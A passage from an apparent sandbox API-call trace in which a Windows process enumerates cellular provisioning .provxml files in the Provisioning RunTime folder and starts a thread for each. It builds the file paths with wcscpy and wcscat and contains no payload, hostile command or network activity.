dwReserved0=0x0, dwReserved1=0x0, cFileName="666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="666__C~1.PRO")) returned 1 [0182.333] wcscmp (_String1="666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.333] wcscmp (_String1="666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3056768 [0182.333] wcscpy (in: _Dest=0x3056768, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.333] wcscat (in: _Dest=0x3056768, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.333] wcscat (in: _Dest=0x3056768, _Source="666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0182.334] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91797924, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91797924, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91797924, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="667__C~1.PRO")) returned 1 [0182.334] wcscmp (_String1="667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.334] wcscmp (_String1="667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054bd8 [0182.334] wcscpy (in: _Dest=0x3054bd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.334] wcscat (in: _Dest=0x3054bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.334] wcscat (in: _Dest=0x3054bd8, _Source="667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0182.335] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917bdb8f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917bdb8f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917bdb8f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="668__C~1.PRO")) returned 1 [0182.346] wcscmp (_String1="668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.346] wcscmp (_String1="668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3056a18 [0182.346] wcscpy (in: _Dest=0x3056a18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.347] wcscat (in: _Dest=0x3056a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.347] wcscat (in: _Dest=0x3056a18, _Source="668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\668__Connections_Cellular_HP DataPass (France)_i0$(__MVID)@WAP.provxml" [0182.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0182.347] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917bdb8f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917bdb8f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917bdb8f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="669__C~1.PRO")) returned 1 [0182.347] wcscmp (_String1="669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.347] wcscmp (_String1="669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.347] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3056b70 [0182.347] wcscpy (in: _Dest=0x3056b70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.347] wcscat (in: _Dest=0x3056b70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.347] wcscat (in: _Dest=0x3056b70, _Source="669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\669__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x980 [0182.349] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9032cd93, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9032cd93, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9032cd93, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml", cAlternateFileName="66__CO~1.PRO")) returned 1 [0182.350] wcscmp (_String1="66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.350] wcscmp (_String1="66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3056cc8 [0182.350] wcscpy (in: _Dest=0x3056cc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.350] wcscat (in: _Dest=0x3056cc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.350] wcscat (in: _Dest=0x3056cc8, _Source="66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\66__Connections_Cellular_Entel PCS (Chile)_i0$(__MVID)@WAP.provxml" [0182.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0182.350] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917bdb8f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917bdb8f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917bdb8f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="670__C~1.PRO")) returned 1 [0182.350] wcscmp (_String1="670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0182.350] wcscmp (_String1="670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0182.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054830 [0182.351] wcscpy (in: _Dest=0x3054830, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.351] wcscat (in: _Dest=0x3054830, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.351] wcscat (in: _Dest=0x3054830, _Source="670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\670__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0182.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0182.351] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917bdb8f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917bdb8f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917bdb8f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="671__C~1.PRO")) returned 1 [0182.351] wcscmp (_String1="671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.351] wcscmp (_String1="671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f026f0 [0182.351] wcscpy (in: _Dest=0x4f026f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.351] wcscat (in: _Dest=0x4f026f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.351] wcscat (in: _Dest=0x4f026f0, _Source="671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\671__Connections_Cellular_Dell (Germany)_i0$(__MVID)@WAP.provxml" [0182.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f026f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0182.352] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917bdb8f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917bdb8f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917bdb8f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="672__C~1.PRO")) returned 1 [0182.352] wcscmp (_String1="672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.352] wcscmp (_String1="672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x2f9b600 [0182.352] wcscpy (in: _Dest=0x2f9b600, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.352] wcscat (in: _Dest=0x2f9b600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.352] wcscat (in: _Dest=0x2f9b600, _Source="672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\672__Connections_Cellular_Dell (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9b600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0182.353] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917e3dfb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917e3dfb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917e3dfb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="673__C~1.PRO")) returned 1 [0182.353] wcscmp (_String1="673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.353] wcscmp (_String1="673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f03508 [0182.353] wcscpy (in: _Dest=0x4f03508, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.353] wcscat (in: _Dest=0x4f03508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.353] wcscat (in: _Dest=0x4f03508, _Source="673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\673__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" [0182.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0182.354] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917e3dfb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917e3dfb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917e3dfb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml", cAlternateFileName="674__C~1.PRO")) returned 1 [0182.354] wcscmp (_String1="674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.354] wcscmp (_String1="674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f01b68 [0182.354] wcscpy (in: _Dest=0x4f01b68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.354] wcscat (in: _Dest=0x4f01b68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.354] wcscat (in: _Dest=0x4f01b68, _Source="674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\674__Connections_Cellular_LG U+ (Korea)_i1$(__MVID)@WAP.provxml" [0182.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0182.355] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917e3dfb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917e3dfb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917e3dfb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", cAlternateFileName="675__C~1.PRO")) returned 1 [0182.355] wcscmp (_String1="675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.355] wcscmp (_String1="675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.355] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f021d0 [0182.355] wcscpy (in: _Dest=0x4f021d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.355] wcscat (in: _Dest=0x4f021d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.355] wcscat (in: _Dest=0x4f021d0, _Source="675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\675__Connections_Cellular_LG U+ (Korea)_i0$(__MVID)@WAP.provxml" [0182.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f021d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0182.356] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917e3dfb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x917e3dfb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x917e3dfb, 